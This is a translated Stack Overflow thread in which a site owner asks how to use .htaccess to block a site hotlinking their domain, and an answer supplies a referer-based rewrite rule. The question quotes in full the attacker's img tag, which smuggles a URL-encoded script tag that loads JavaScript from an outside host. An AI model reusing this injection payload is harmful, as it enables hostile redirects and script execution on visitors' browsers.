【问题标题】:Redirect Hotlinker Without Extensions to Parent Website using .htaccess使用 .htaccess 将不带扩展名的 Hotlinker 重定向到父网站
【发布时间】:2016-07-10 08:25:14
【问题描述】:

一个恶意网站正在使用 img 标签在我的网站中插入重定向脚本。 我阻止了重定向using strip_tags(),但该站点正在消耗我的所有带宽。 他使用的代码是:

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>

我尝试添加此代码以阻止 img 热链接,但由于 img 链接中没有扩展名,它不起作用:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]

我想在 img 标签中使用我的域重定向所有网站 &lt;img src="http://mywebsite.com/ANYTHING-HERE"/&gt; 到 mywebsite.com

如何使用 .htaccess?

【问题讨论】:

    标签: php html apache .htaccess redirect


    【解决方案1】:

    您只需一个条件即可将引荐来源网址重定向到另一个位置:

    试试:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC]
    RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R]
    

    【讨论】:

    • 我可以将它重定向到 mywebsite.com 而不是 http://i.imgur.com/qX4w7.gif 而且 mywebsite.com 没有 ssl 和 www。难道还要加https?://(www\.)?mywebsite\.com/ [NC]
    • @Maroof https? 在模式中是可选的,因此它匹配 httphttps(www\.)? 表示 www 是可选的。是的,您可以将目标网址更改为 example.com 而不是 img 网址
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2022-10-17
    • 2014-03-15
    • 1970-01-01
    • 2013-06-04
    • 2014-01-12
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多